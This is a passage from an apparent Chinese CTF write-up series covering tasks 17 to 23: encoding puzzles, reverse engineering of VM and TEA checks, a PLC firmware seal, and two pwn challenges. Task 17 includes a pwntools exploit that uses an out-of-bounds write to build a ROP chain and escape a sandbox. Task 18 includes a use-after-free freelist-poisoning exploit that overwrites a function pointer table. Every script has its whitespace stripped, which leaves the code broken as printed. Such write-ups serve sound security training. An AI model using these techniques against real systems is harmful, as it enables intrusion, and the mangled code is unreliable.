把(゚Д゚)[゚o゚]还原为双引号、(゚Д゚)[゚ε゚]为反斜杠、裸゚ε゚为return,o^^o、c^^o、゚ー゚、゚Θ゚分别替换为3、0、4、1。
按括号深度为0的加号切分,每项求值为一位八进制数字,按顺序拼接成转义串。
去掉return"与末引号,按Python转义规则还原八进制序列,得到UU行。
自实现UU解码:首字符定字节数,4字符拼成24bit再切3字节,超出所需长度部分截去。
去前缀H、把++换成==,按轮转12的映射还原标准Base64,再按6bit重排解出明文。
- 复现脚本
importrefromitertoolsimportaccumulatesrc = next(lforlinopen('题干.txt', encoding='utf-8')if'゚ω゚ノ'inl)q = re.search(r"[゚o゚]\s=\s'(.?)'", src).group(1).encode().decode('unicode_escape')mark ="[''] ( (゚Д゚) [''] ("b = src[src.index(mark) + len(mark):src.rfind(') (゚Θ゚))')]b = b.replace('(゚Д゚)[゚o゚]','\x01').replace('(゚Д゚)[゚ε゚]','\x02').replace('゚ε゚','\x03')foratom, valin{'o^^o':3,'c^^o':0,'゚ー゚':4,'゚Θ゚':1}.items():b = b.replace(atom, str(val))depth = accumulate((c =='(') - (c ==')')forcinb)parts =''.join('|'ifc =='+'andn ==0elsecforc, ninzip(b, depth)).split('|')js =''.join(qift =='\x01'else'\'ift =='\x02'else'return'ift =='\x03'elsestr(eval(t))fortinmap(str.strip, parts))line = js[7:-1].encode().decode('unicode_escape')need = (ord(line[0]) -32) &63data = line[1:] +' ' (-len(line[1:]) %4)bits =''.join(f'{(ord(c) -32) &63:06b}'forcindata)stage1 = bytes(int(bits[i:i +8],2)foriinrange(0, need 8,8)).decode()STD ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'vals = [(STD.index(c) +12) %64forcinstage1[1:-2]]bits =''.join(f'{v:06b}'forvinvals)plain = bytes(int(bits[i:i +8],2)foriinrange(0, len(bits) //88,8)).decode()print('LAYER1', line)print('LAYER2', stage1)print('flag', plain)5. 运行结果
LAYER1 =2$YA;%9.%E.2GAI3TM"6E1%*RLLAYER2 HNalVNrhsS4JiMqxYNJxiOKBZTE++flag flag{xxEncode_nice}6. 小结
考点是多层编码叠加时逐层寻找可判定结构:AAEncode的return"与八进制串、UU首字符长度、Base64的末位填充与轮转后的明文前缀。
最终flag
flag{xxEncode_nice}
任务17|SBX1字节码虚拟机:头字段越界写与ROP链
附件:pwn-1.zip(plc_sbx、demo_logic.sbx、sandbox_policy.json)
- 基本情况
附件是一台自研的现场逻辑沙箱。宿主把现场逻辑编译为厂商私有的SBX1字节码,交给plc_sbx解释执行;样本为x86-64架构的ELF,静态链接、无PIE、已去符号,.text仅0x600字节且逻辑高度内联,可直接通读反汇编。sandbox_policy.json按类别标注凭据,只有escape类为status=valid;--selftest与异常通道输出的两段flag形状文本均属诊断诱饵,策略中标记为非valid,不能作为答案。
沙箱的设计意图是把逻辑程序限制在栈上一小片数据区,且只暴露write一个系统调用。真正决定边界的却是程序头中的一个声明字段,这一信任关系构成了逃逸入口。
- 关键突破
SBX1头固定16字节:偏移0x00为magicSBX1,0x04为未使用的version,0x08为指令条数code_len,0x0c为数据区声明大小mem_size。加载器只检查magic、code_len<=0x200以及文件长度不小于code_len*4+0x10,对mem_size仅做0x1000的上限截断,从不与解释器真实分配的缓冲区尺寸比对。指令定长4字节,布局为[opcode][op1][op2][op3]。
vm_run的数据区mem落在rbp-0x90,启动时被8条movaps清零128字节,与rbp-0x50起的寄存器文件相互重叠;边界变量取min(mem_size,0x1000)。写指令0x41(单字节)与0x42(小端8字节)都只判断起始下标小于该边界,0x42也不检查下标加8。把mem_size声明为0x1000,可写窗口便从128字节放大到4096字节:mem[off]的真实地址为rbp-0x90+off,off=0x98恰好是vm_run的返回地址,off=0xa0起则是返回地址之上的栈内容,正好充当gadget的弹出数据。HALT以leave; ret收尾,返回地址被改写即完成控制流劫持。
.text内留有连续排布的小工具:0x401340为pop rdi,0x401341为pop rsi,0x401342为pop rdx,0x401343为ret,从0x401340进入可一次弹出三个参数。.rodata中三段异或加密字符串由0x401090与0x4010e0两个打印器解密,密钥分别为GAID-XBS与IDUA-XBS。0x401090按rdi是否为零在panic与selftest两份诱饵间二选一;0x4010e0把rdi与立即数0x5342582d41554449(即IDUA-XBS)比较,相等才解密0x402190处的escape凭据并结束进程。诱饵文本形态与flag相同,却对应策略中非valid的类别,因此必须命中0x4010e0的相等分支,而不能停留在任一“成功”提示上。
- 利用/还原思路
以mem基址rbp-0x90换算伪栈帧:0x98放新的返回地址0x401340,0xa0放IDUA-XBS,0xa8与0xb0放填充值供rsi、rdx弹出,0xb8放0x4010e0。
逐字节构造写入序列:0x20装载8位立即数,0x41把值寄存器写到mem[下标];一个8字节字需要8轮,共24条指令。
5个字合计120条指令,再加一条HALT共121条,远小于code_len上限0x200。
头部写入code_len=121、mem_size=0x1000,使0x98至0xbf全部落在边界内,顺利通过reg[op] < limit检查。
把16字节头与字节码拼接后送入stdin;HALT执行leave; ret落到gadget,rdi装入IDUA-XBS,再返回0x4010e0打印有效凭据。
- 复现脚本
importstructfrompwnimportprocessOOB =0x98# rbp+8 相对 rbp-0x90 的偏移GADGET =0x401340# pop rdi; pop rsi; pop rdx; retCHECK =0x4010e0# 比较 rdi 后输出 escape 凭据TAG =0x5342582d41554449# "IDUA-XBS"defload(reg, value):returnbytes((0x20, reg,0, value &0xff))defstore8(index, word):out = bytearray()foriinrange(8):out += load(0, index + i)out += load(1, (word >> (8* i)) &0xff)out += bytes((0x41,0,1,0))returnbytes(out)frame = [(OOB, GADGET), (OOB +8, TAG), (OOB +16,0), (OOB +24,0), (OOB +32, CHECK)]code =b''.join(store8(off, val)foroff, valinframe) + bytes((0x10,0,0,0))image =b'SBX1'+ struct.pack('<III',1, len(code) //4,0x1000) + codeio = process('./plc_sbx')io.send(image)io.shutdown('send')# 让解释器读到 EOF 后开始执行print(io.recvall(timeout=3).decode(errors='replace').strip())5. 运行结果
$ python3 exp.py[+] Starting local process './plc_sbx'flag{Vm_Esc4pe_T0_R0p_Ch41n_26}6. 小结
根因是把攻击者可控的元数据当作真实容量使用:mem_size只被截断、不被核对,使解释器每一条内存写指令都成为相对栈帧的越界原语;0x42仅校验起址不校验跨度,进一步放宽了可利用范围。防御上应忽略头字段,以实际分配尺寸作为唯一边界,并对寄存器索引与访问跨度逐项检查;凭据也不应与诱饵共用可被控制流直达的打印器,仅靠分支条件区分有效性只是提高了门槛。
最终flag
flag{Vm_Esc4pe_T0_R0p_Ch41n_26}
任务18|配方帧缓存:UAF与空闲链表投毒
附件:pwn-2.zip(plc_rcp、recipe_policy.json)
- 基本情况
plc_rcp是配方帧缓存管理器,从stdin读取维护脚本。样本为x86-64架构的ELF,静态链接、无PIE、无栈保护,堆管理为自研实现,相关地址全部固定。脚本命令包括alloc、free、write、read、dump、render、selftest、reset与quit,其中write按十六进制写入最多32字节,render调用渲染后端。
recipe_policy.json给出后端策略:render与export是无需凭据的开放后端,diag与selftest为诱饵,只有索引3的audit输出有效凭据。程序侧入口是render [0|1],索引被限制在0与1,保留后端无法直接触达;而后端函数指针表位于可写段,这一矛盾决定了利用方向。
- 关键突破
自研分配器的块格式为8字节块头加32字节用户数据,步长0x28。块头只在chunk-4处使用4字节状态位,释放时置1;用户区前8字节在空闲时被复用为链表next。alloc先看空闲链表头0x404080:非空则直接弹出,把(void*)p读入链表头且不校验该指针;为空则从bump指针0x4040a0起切分,超过堆尾0x4050a0返回失败。free把状态置1,将当前链表头写入用户区首8字节,再把该块挂为新的链表头。
slot指针数组在0x404000,共16项。free只操作链表,不回写slot,于是free之后write与read仍能命中已释放块,形成UAF;alloc对弹出的地址不做范围、对齐或重复检测,重复释放也不会被拒绝。二者叠加,空闲块用户区里的next成为攻击者可控的链表指针:下一次alloc让链表头跳到任意地址,再下一次alloc便返回该地址,得到指向任意位置的可写slot,效果等同于tcache poisoning。
后端函数指针表在0x402000,依次为render(0x401000)、export(0x401020)、diag(0x4011d0)、audit(0x401210),selftest另在0x401250。只要把表项0改成audit,render 0的索引检查仍会通过,实际调用的却是保留后端。
- 利用/还原思路
alloc 0取得首块,用户区在0x4040a8;free 0后该块成为链表头,用户区首8字节为原链表头。
用write 0写入8字节0x402000,借UAF改写next;必须正好8字节,多写的字节落在本块用户区,虽不影响链表,却会污染后续布局。
alloc 1弹出0x4040a8,链表头被置为0x402000;alloc 2随即返回0x402000,slot2指向后端函数表。
write 2写入audit地址0x401210的小端表示,覆盖表项0;命令一次最多写32字节,此处只写8字节,恰好落在表项0,若写满则会顺带覆盖表项1至3。
render 0通过索引不超过1的无符号检查后按表项0调用,控制流进入audit,打印audit backend (reserved)与有效凭据。
- 复现脚本
importrefrompwnimportprocessTABLE =0x402000# 后端函数指针表首地址AUDIT =0x401210# 保留后端 auditcmds = ['alloc 0','free 0','write 0 '+ TABLE.to_bytes(8,'little').hex(),# 借 UAF 伪造 next'alloc 1','alloc 2',# slot2 指向函数表'write 2 '+ AUDIT.to_bytes(8,'little').hex(),'render 0','quit',]io = process('./plc_rcp')io.send(('\n'.join(cmds) +'\n').encode())out = io.recvall(timeout=3).decode(errors='replace')print(out)print('credential:', re.search(r'flag{[^}]+}', out).group(0))5. 运行结果
allocatedfreedwrittenallocatedallocatedwrittenaudit backend (reserved)flag{Fr33l1st_P01s0n_2026_Heap}credential: flag{Fr33l1st_P01s0n_2026_Heap}6. 小结
根因是释放后槽位未失效与链表指针存放在用户数据区这两点的组合:前者给出UAF写,后者把一次普通写升级为任意地址分配。自研分配器还缺少对齐、范围与重复释放校验,使投毒链无需任何堆布局技巧即可命中固定表。修复应在释放时清空slot,把链表元数据移出用户区,分配时校验地址落在堆区间且按0x28对齐,并将后端分发表放入只读段,命令层不能只依赖索引检查。
最终flag
flag{Fr33l1st_P01s0n_2026_Heap}
任务19|re-1:UPX脱壳与异常流隐藏的字节码校验
附件:re-1.zip(re.exe,32位Windows控制台程序)
- 基本情况
压缩包内只有一个32位Windows控制台程序re.exe,文件头显示其经过UPX压缩,压缩后体积6158字节。直接静态分析只会落在UPX启动桩上,因此先用upx -d -o re-unpacked.exe re.exe脱壳,得到11278字节的PE。以下地址均按默认基址0x400000计算,属于脱壳后的映像。
程序以scanf("%99s",...)读取一行输入,校验通过时输出Good Job! You got it!,失败时输出Wrong Flag!。目标是求出满足校验的38字节字符串,并按flag{...}形式提交。
- 关键突破
在脱壳文件中搜索成功提示,字符串位于0x40404E,唯一的代码引用在0x401BA6,所属函数起始于0x401A68,校验逻辑集中于此。函数首先检查strlen(input)==0x26,即38字节;长度不符直接失败。
长度正确后,程序把一块0x14C字节的栈上下文清零,将38字节输入复制到起始处,并在同一块空间中写入字节码指针0x403180与七个32位常量。最终比较的是上下文偏移0x28处的40字节与0x403140处的目标数组。上下文先清零,输入只覆盖前38字节,末两字节保持为0,这解释了38字节输入与40字节比较长度之间的差值。
真正的校验被异常处理藏了起来。函数0x4019BA调用_setjmp,首次返回后执行一段循环:ctx[0x28+i]=ctx[i]^0x5A,共40次;随后以ctx+0xFC处的32位值作除数。该位置仍为零,除零触发SIGFPE。程序此前用signal(8,0x40198A)注册了处理函数,处理函数调用0x40137A解释执行0x403180处的字节码,再以longjmp(...,1)回到检查流程。第二次经过_setjmp时异或循环被跳过,直接进入memcmp。因此^0x5A只是干扰项,其写入的40字节随后会被虚拟机全部覆盖。
- 利用/还原思路
虚拟机有8个通用寄存器,指令集包括:0x10装入32位立即数,0x11/0x12从上下文读/写32位值,0x20/0x21加法/异或,0x22/0x23循环左移/右移,0x30/0x31/0x32比较/条件跳转/无条件跳转,0x88按索引取七个密钥之一,0xFF结束。字节码在0x24处判断循环次数,0x2C至0x47处理一个4字节块,0x4A跳回,共10轮。
每轮的语义为y=ROR32(ROL32(x,8)^(key[i%7]+i),8),其中x从ctx+4i小端读入,y写回ctx+0x28+4i,加法按32位取模。循环位移是纯位重排,对异或满足分配律,故ROR32(ROL32(x,8)^k,8)=x^ROR32(k,8),整条变换退化为与固定字异或。逆推无需搜索:x=y^ROR32((key[i%7]+i) mod 2^32,8),逐块即可还原输入。
目标数组位于0x403140,共40字节;七个密钥由0x401A68在栈上赋值,依次为0xC6ECB7C0、0xAFAED4EC、0x67864E35、0xEC020B6F、0x8F6B5651、0x09B8BF75、0xF2D061C4。以首块为例,目标字按小端为0xA7A780D1,ROR32(0xC6ECB7C0,8)=0xC0C6ECB7,两者异或得0x67616C66,按小端写回即flag。十个块还原后应满足末两字节为0,可作为结果校验。
- 复现脚本
importstructMASK =0xFFFFFFFFKEYS = (0xC6ECB7C0,0xAFAED4EC,0x67864E35,0xEC020B6F,0x8F6B5651,0x09B8BF75,0xF2D061C4)TARGET = bytes.fromhex("d180a7a7afcd99882de450543b638a13""330fbb30dc8e3e4257e497f98289a5f7""e69ecdc228fb673e")defror32(x, n):x &= MASKreturn(x >> n) | ((x << (32- n)) & MASK)defunround(word, i):returnword ^ ror32((KEYS[i %7] + i) & MASK,8)plain =b"".join(struct.pack("<I", unround(w, i))fori, winenumerate(struct.unpack("<10I", TARGET)))assertplain[38:] ==b"\x00\x00"print("word[0] -> 0x%08X %r"% (struct.unpack("<I", plain[:4])[0], plain[:4].decode()))print("tail =", plain[38:].hex())print("flag =", plain[:38].decode())5. 运行结果
word[0] -> 0x67616C66 'flag'tail = 0000flag = flag{c6ecb7c0afaed4ec67864e35ec020b6f}6. 小结
UPX只是外层包装,脱壳后仍是普通PE;本题的难点不在指令混淆,而在控制流。除零异常把真正的校验移入信号处理函数,静态阅读主路径只能看到无效的异或。识别_setjmp、signal、longjmp三件套后,沿处理函数找到字节码解释器即可。虚拟机虽然指令齐全,但每轮只做一次可分配的旋转异或,数学上等价于单次异或,逆运算比正向模拟更直接。对二进制保护而言,异常驱动的控制流转移只能提高阅读成本,无法替代真正的密码学约束。
最终flag
flag{c6ecb7c0afaed4ec67864e35ec020b6f}
任务20|re-2:TEA正向校验的逆运算
附件:re-2.zip(reverse,x86-64 ELF)
- 基本情况
附件中的reverse是14472字节的x86-64 Linux ELF,已strip,类型为PIE,RELRO、NX、Canary与CET均开启。保护齐全主要影响利用类题目;对纯校验逆向而言,缺少符号表只意味着需要从字符串与导入表恢复主流程。程序读取一行输入,按flag{XXXXXXXX-YYYYYYYY}的格式解析,两段各为32位十六进制数,成功输出You Win!,失败输出Wrong flag!并附上期望值与实际值。
- 关键突破
.rodata中的字符串给出了完整交互:Input flag:、flag{、三条格式错误提示、You Win!、Wrong flag!,以及Expected: 0x%x 0x%x和Got: 0x%x 0x%x。由must start with 'flag{'、must end with '}'、must contain two parts separated by '-'可确定输入由前缀、两段十六进制与右花括号组成。
二进制虽被strip,.rela.plt仍保留导入名,可把PLT桩与strncmp、strlen、strtok、getchar、fflush、printf、puts逐一对应。主函数位于0x1500,被编译器展开为基于跳转表的状态机:状态0起步,100为失败出口,101与102为成功出口,[rbp-0x95]作为退出标志。恢复后可见:先用strncmp验证前缀,再用strlen与末字符验证后缀,把}就地改为\0,随后两次strtok以-切出左右两段,各自送入0x13A1处的十六进制解析。
解析函数允许可选的0x前缀,逐字符转小写后按c-'a'+10或c-'0'累加,累加方式为acc=(acc<<4)+digit,结果按32位截断,等价于标准十六进制读取。
关键在于0x1229处的函数:它接收两字数组与四字密钥,执行的是TEA加密而非解密。轮数由i<=0x1f控制,共32轮;delta=0x9E3779B9,每轮先执行sum+=delta,再依次更新v0与v1,轮函数为((v<<4)+k0)^(v+sum)^((v>>5)+k1)与((v<<4)+k2)^(v+sum)^((v>>5)+k3),与教科书TEA一致,没有额外密钥扩展。加密后的两字与栈上的目标{0x9A3B5C7D,0x2F4E6D8C}比较,密钥为{0x12345678,0x87654321,0xABCDEF12,0x12FEDCBA}。
- 利用/还原思路
程序是“加密输入后比对”,因此对目标值做TEA解密即可,不需要爆破。解密从sum=32×delta开始,每轮先以当前的v0回退v1,再以更新后的v1回退v0,最后sum-=delta;两步顺序不能交换,因为加密时v1使用了本轮更新后的v0。所有加减均按模2^32处理。
得到两个字0x61C87A0C与0xBE7F149D后,按%08x小写、连字符分隔的形式拼成flag{61c87a0c-be7f149d}。再用正向加密回代,应重新得到0x9A3B5C7D与0x2F4E6D8C;把该串送入原程序,输出You Win!且Expected与Got一致,说明格式与数值均正确。
- 复现脚本
MASK =0xFFFFFFFFDELTA =0x9E3779B9ROUNDS =32K = (0x12345678,0x87654321,0xABCDEF12,0x12FEDCBA)PAIR = (0x9A3B5C7D,0x2F4E6D8C)defuntweak(a, b):t = (DELTA * ROUNDS) & MASKfor_inrange(ROUNDS):f = (((a <<4) & MASK) + K[2]) ^ ((a + t) & MASK) ^ (((a >>5) + K[3]) & MASK)b = (b - f) & MASKf = (((b <<4) & MASK) + K[0]) ^ ((b + t) & MASK) ^ (((b >>5) + K[1]) & MASK)a = (a - f) & MASKt = (t - DELTA) & MASKreturna, bdeftweak(a, b):t =0for_inrange(ROUNDS):t = (t + DELTA) & MASKa = (a + ((((b <<4) & MASK) + K[0]) ^ ((b + t) & MASK) ^ (((b >>5) + K[1]) & MASK))) & MASKb = (b + ((((a <<4) & MASK) + K[2]) ^ ((a + t) & MASK) ^ (((a >>5) + K[3]) & MASK))) & MASKreturna, bx, y = untweak(*PAIR)print("plain: %08x %08x"% (x, y))print("re-encrypt: %08x %08x"% tweak(x, y))print("flag{%.8x-%.8x}"% (x, y))5. 运行结果
plain: 61c87a0c be7f149dre-encrypt: 9a3b5c7d 2f4e6d8cflag{61c87a0c-be7f149d}6. 小结
0x9E3779B9是TEA族的特征常量,配合32轮与四个32位密钥可迅速锁定算法;被strip的二进制仍可通过字符串交叉引用与.rela.plt恢复调用语义。题目把校验写成“加密后比较”,逆运算的代价远低于穷举,也说明分组密码的密钥一旦硬编码在程序中,校验逻辑本身即可被完整还原。工程上应把密钥放入受保护的存储或改用签名验证,而不是在客户端做可逆比对。
最终flag
flag{61c87a0c-be7f149d}
任务21|re-3:PLCF固件封存槽与WNLP令牌还原
附件:re-3.zip(plc_firmware_v2.4.1.bin、plc_ot_comm.pcap)
- 基本情况
附件给出两份材料:plc_firmware_v2.4.1.bin为NW-PLC-3000主控导出的固件镜像,287232字节;plc_ot_comm.pcap为OT网络抓包,197690字节。题面称厂商从未发布带调试功能的2.4.1,攻击者替换固件并将数据封存,钥匙只在流量中出现。目标是取出当前有效封存数据。
- 关键突破
PLCF v3容器按小端排列:0x00为magicPLCF,0x04为u16版本3,0x06为u16头长0x40,0x08为u32镜像大小0x46200,0x0C为u16节数11,0x3C为头部CRC-32;0x14起为厂商与型号字符串。节表从0x40开始,每项32字节:char[16]name、u32偏移、u32大小、u32类型、u32 CRC-32。覆盖.boot、.text、.rodata、.config、.points、.secrets、.bak、.old、.keys、.log、.crc。
CRC采用标准反射式CRC-32,多项式0xEDB88320,与zlib一致。头部CRC覆盖前0x3C字节,11个节的CRC也全部吻合,说明攻击者替换镜像后重算了校验;完整性检查只能证明镜像自洽,不能证明来源。.text熵值接近8,已加密或加壳,无法直接反汇编;.rodata为明文,泄露了seal: xor-stream(8)、seal: chunked 8x8、seal: perm from cfg slot table等线索。
.config为CFG1:0x14为u32 WNLP端口40001,0x18为u16 Modbus端口502;0x1C为u16槽数3,0x1E为u16表项大小0x20,槽表从0x20开始。每项0x20字节:char[12]name、char[4]unit_id、u16槽号、u16密钥长度8、u32分块数8、u8[8]块序置换。.secrets/NWD1、.bak/NWD7、.old/NWD3的置换依次为[5,0,7,2,1,6,3,4]、[3,6,1,4,7,0,5,2]、[2,5,0,7,4,1,6,3]。
- 利用/还原思路
SEAL节每节0xA0字节:0x00为SEAL,0x04为u16版本8,0x06为u16分块大小8,0x08为u32明文长度0x2C,0x0C起为64字节密文,其后为零填充。解封时先用8字节令牌循环异或P[i]=C[i]^K[i mod 8],得到8个8字节块;再按置换重排,第i个输出块取第perm[i]个异或块;最后截断到44字节,Base64解码。
置换后的64字节中仅前44字节属明文,其余20字节为填充,整段解码会失败;置换作用于8字节块而非块内字节,误作字节置换会得到全乱码。
令牌来自WNLP。UDP/40001的私有帧以WN\x02开头:0x03为功能码,0x04为u32序列号,0x08为u16负载长度,0x0C起为负载。0x7F表示令牌投递,负载为4字节单元ID加8字节令牌;0xFF为PLC应答。10.50.4.10的NWD1加0xAA覆盖写与假令牌08c8406e890f235a均无应答;10.50.9.88的三次投递都收到PLC回送的0xFF,应答序列号比请求大1。以是否收到0xFF为判据,得到NWD1=9c3fe17a24b85d06、NWD7=51ae0dc37712f944、NWD3=e8036b942dc158af。
.log记录.secrets为activated、.bak为legacy、.old为revoked;后两者也能解出flag形状串,但属旧封存诱饵,只取.secrets。
- 复现脚本
importbase64, struct, zlibfw = open("plc_firmware_v2.4.1.bin","rb").read()n = struct.unpack_from("<H", fw,0x0C)[0]sec = {e[:16].rstrip(b"\0").decode(): struct.unpack_from("<IIII", e,16)forein(fw[0x40+32i:0x60+32i]foriinrange(n))}assertall(zlib.crc32(fw[o:o+s]) &0xFFFFFFFF== cforo, s, , cinsec.values())cfg = fw[sec[".config"][0]:][:0x200]slot = {cfg[0x20+32i:0x2c+32i].rstrip(b"\0").decode():(cfg[0x2c+32i:0x30+32i].decode(), list(cfg[0x38+32i:0x40+32i]))foriinrange(3)}# 三个令牌均已由PLC的0xFF应答确认tok = {"NWD1": bytes.fromhex("9c3fe17a24b85d06"),"NWD7": bytes.fromhex("51ae0dc37712f944"),"NWD3": bytes.fromhex("e8036b942dc158af")}defunseal(name):o, z, , _ = sec[name]body = fw[o:o+z]assertbody[:4] ==b"SEAL"n = struct.unpack_from("<I", body,8)[0]unit, perm = slot[name]raw = bytes(c ^ tok[unit][i %8]fori, cinenumerate(body[12:76]))returnbase64.b64decode(b"".join(raw[i8:i8+8]foriinperm)[:n]).decode()print("tokens:", {u: t.hex()foru, tintok.items()})print("slot .secrets:", unseal(".secrets"))5. 运行结果
tokens: {'NWD1': '9c3fe17a24b85d06', 'NWD7': '51ae0dc37712f944', 'NWD3': 'e8036b942dc158af'}slot .secrets: flag{PLC_F1rmw4r3_B4ckd00r_2026}6. 小结
PLCF节表负责定位,CRC-32只证明镜像自洽而不能证明来源,SEAL以8字节异或流和块序置换隐藏Base64明文,令牌则经WNLP的0x7F帧明文投递。防御上应强制镜像签名、禁止令牌明文传输,吊销槽位时实际擦除旧数据。
最终flag
flag{PLC_F1rmw4r3_B4ckd00r_2026}
任务22|二曰叠层:天书外壳与佛曰内层
附件:数据加密之二曰.zip(题干.txt)
- 基本情况
题干以“曰:”开头,其后是310个字符的道经风格密文,要求还原flag。字符统计只有63种汉字,另夹8处半角加号,既不像自然行文,也不像单表替换能直接读出的文本。实际结构为两层:外层“天书”按65项字表把Base64文本替换成汉字,Base64解出的却是OpenSSL的Salted__容器;容器经AES-256-CBC解出“佛曰:”开头的中间串;中间串再按与佛论禅V1的固定密钥解一次,才得到flag。题目名“二曰”正对应这两重前缀。
- 关键突破
第一处判据是字符集规模。63个不同汉字,另夹8处半角加号;加号作为同一种符号计入后共64种,与Base64字母表同宽。加号在标准表中索引为62,因此它不是分段符,而是未被替换的原始字符。逆映射时只替换表内65项(含填充符等号),表外字符一律原样保留,密文才能还原成合法Base64。若把加号当分隔符丢掉,长度与分组都会错位。
第二处判据是明文头。补回固定前缀U2FsdGVkX1后解码,前8字节为Salted__,随后8字节为salt,其余为密文。salt由加密方随机生成并明文存放,作用是让相同口令与相同明文每次得到不同密钥;因此派生密钥时必须读取该字段,不能写死。EVP_BytesToKey以MD5迭代,D1=MD5(prev+pass+salt),之后反复以prev为前块,拼接48字节后前32字节为AES-256密钥,后16字节为IV。解密后按PKCS#7去掉末尾1至16字节填充;口令错误通常表现为填充校验失败或UTF-8解码异常,而不是直接报密钥错。
第三层是与佛论禅V1。其密文不是Base64,而是128字咒表加高位标记字的7位编码:普通字给出低7位,字前若出现冥奢梵呐俱哆怯諳罰侄缽皤之一,则表示该字节再加128。该48字节数据用AES解密,PKCS#7填充占末8字节,去填充后为40字节UTF-16LE文本,对应20个字符;使用固定key与IV做AES-256-CBC即可还原明文。层序不可交换:必须先剥天书拿到Salted__容器,再用口令解出佛曰串,最后才轮到咒表;反向操作连字符集都对不上。
- 利用/还原思路
截取“曰:”后的正文,逐字查天书反向表,未命中的加号原样保留。
在结果前补U2FsdGVkX1,Base64解码,校验magic后切出salt与密文。
以BlackCat184为口令、salt为盐做EVP_BytesToKey(MD5),取48字节的key与IV。
AES-256-CBC解密并去PKCS#7填充,按UTF-8读出“佛曰:”开头的串。
去掉三字前缀,按高位标记与咒表索引还原字节,确认长度为16的倍数。
用固定key与IV再解一次,去填充后按UTF-16LE解码,得到flag。
- 复现脚本
importbase64, hashlibfromCrypto.CipherimportAESfromCrypto.Util.PaddingimportunpadTBL = ("e渺E莽t茫T乐a生A终o仙O鬼i人I吉n凶N清s灵S空h命H精r炁R神""d魔D梵l周L量c道C天u地U荡m度M罗w色W元f始F玄g御G浩y劫Y虚""p界P真b实B华v威V运k魂K魄j融J象x霄X冥q照Q净z微Z幽""0观1陀2阿3龙4阎5东6西7南8北9玉+太/坤=尊")back = {TBL[i +1]: TBL[i]foriinrange(0, len(TBL),2)}body = open("题干.txt", encoding="utf-8").read().split("曰:",1)[1].strip()raw = base64.b64decode("U2FsdGVkX1"+"".join(back.get(c, c)forcinbody))salt, ct = raw[8:16], raw[16:]defevp(pw, salt, n=48):out =b""whilelen(out) < n:out += hashlib.md5(out[-16:] + pw + salt).digest()returnout[:n]kiv = evp(b"BlackCat184", salt)mid = unpad(AES.new(kiv[:32], AES.MODE_CBC, kiv[32:]).decrypt(ct),16).decode()FO = ("滅苦婆娑耶陀跋多漫都殿悉夜爍帝吉利阿無南那怛喝羯勝摩伽謹波者穆僧室藝尼瑟地彌菩提蘇醯盧呼""舍佛參沙伊隸麼遮闍度蒙孕薩夷迦他姪豆特逝朋輸楞栗寫數曳諦羅曰咒即密若般故不實真訶切一除能""等是上明大神知三藐耨得依諸世槃涅竟究想夢倒顛離遠怖恐有礙心所以亦智道。集盡死老至")MK ="冥奢梵呐俱哆怯諳罰侄缽皤"s, data, i = mid.strip()[3:], bytearray(),0whilei < len(s):hi =128ifs[i]inMKelse0i +=1ifhielse0data.append(FO.index(s[i]) + hi)i +=1key, iv =b"XDXDtudou@KeyFansClub^^Encode!!",b"Potato@Key@@=_="plain = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(bytes(data)),16)print("mid =", mid)print("fo =", len(data),"bytes ciphertext")print("flag =", plain.decode("utf-16le"))5. 运行结果
mid = 佛曰:冥依沙菩波究跋有悉皤度呐除俱娑沙利諳菩利竟缽室侄吉道奢盡明哆楞冥三瑟皤地摩俱大遠無呐殿奢都謹侄竟麼隸呐盧哆密大訶侄老諳跋哆能知恐呐至諸哆提哆跋fo = 48 bytes ciphertextflag = flag{zifu_jiami_678}6. 小结
两道“曰”各自带一套密钥材料:外层靠随机salt与口令派生,内层靠硬编码key与IV。识别前缀、统计字符集、检查容器头,比盲目套工具更可靠;手工实现还能在填充或高位标记出错时快速定位。
最终flag
flag{zifu_jiami_678}
任务23|汉字八卦:笔画数写码点的三层编码
附件:数据加密之汉字八卦.zip(题干.txt、1.txt)
- 基本情况
题干给出72组、每组5个汉字,共360字;提示文件写明“八卦卦象:震艮巽坎兑乾坤,汉字笔画蕴含其中”。全文去重后仍有257个不同汉字,且大量生僻字反复出现,同一笔画组合对应多组不同汉字,说明汉字只是载体,真正的载荷是笔画数。还原链路为三段:每组5个笔画数各减一,拼成五位十进制数,对应一个八卦卦名的Unicode码点;卦名再映射为3bit;每三个卦名拼成9bit,恰好是一个ASCII字符。目标是还原完整的flag。
- 关键突破
固定5字一组是最强约束,五位结构很像十进制码点。但笔画数最大到11,直接拼接会越界,必须寻找偏移。把每位减一后,第一组(4,9,7,7,4)变成38663,即U+9707“震”;第二组(4,4,4,10,1)变成33390,即U+826E“艮”;第三组(3,5,1,7,2)变成24061,即U+5DFD“巽”,与提示开头完全一致。八个卦名的码点都在两万至三万多,十进制恒为五位,码点各位加一即所需笔画数,笔画数落在1至10之间;反向逐位减一即可还原码点,这就是题目隐藏的字典:乾20094、兑20817、离31163、震38663、巽24061、坎22350、艮33390、坤22372。
卦名到比特的映射不能靠卦序猜测,提示顺序也不是二进制顺序。用已知明文前缀反推最稳:震001、艮100、巽110拼成001100110,即0x66,对应f;继续验证震离艮为l、震艮震为a、震艮乾为g、震乾兑为{,五个字符已确定六个卦的映射,剩余坎与坤按010和000补齐,得到全表:乾111、兑011、离101、震001、巽110、坎010、艮100、坤000。于是每卦3bit,三卦9bit,数值不超过0x7F,正好落在ASCII区间,72个卦名恰好解出24个字符。
笔画口径是本题最大的坑。Unihan的kTotalStrokes沿用康熙字典口径,辶、艹、阝分别计4、4、3画,而大陆现代规范计3、3、2画;因此退、送应为9画,芮应为7画,队、邓应为4画。另有一处字符属于素材库误收,只能按目标位单独修正。只要有一位笔画偏差,五位十进制数就整体错位,八个码点一个也命中不了。按大陆口径校正后,72组全部严格命中,且没有第二种解释,反向证明了整条映射链。
- 利用/还原思路
读取Unihan的Unihan_IRGSources.txt,用kTotalStrokes建立汉字到笔画数的字典。
取题干中空格最多的行,按空格切分,得到72个五字组。
每组逐字取笔画,先套用辶、艹、阝等修正表,再把每位减一拼成五位字符串。
用八个卦名的十进制码点建立反查表,把五位字符串还原为卦名序列。
依据flag{前缀反推出的3bit表,把每三个卦名拼成一个9bit值并转字符。
校验卦名总数为72、可被3整除,得到24字符的明文。
- 复现脚本
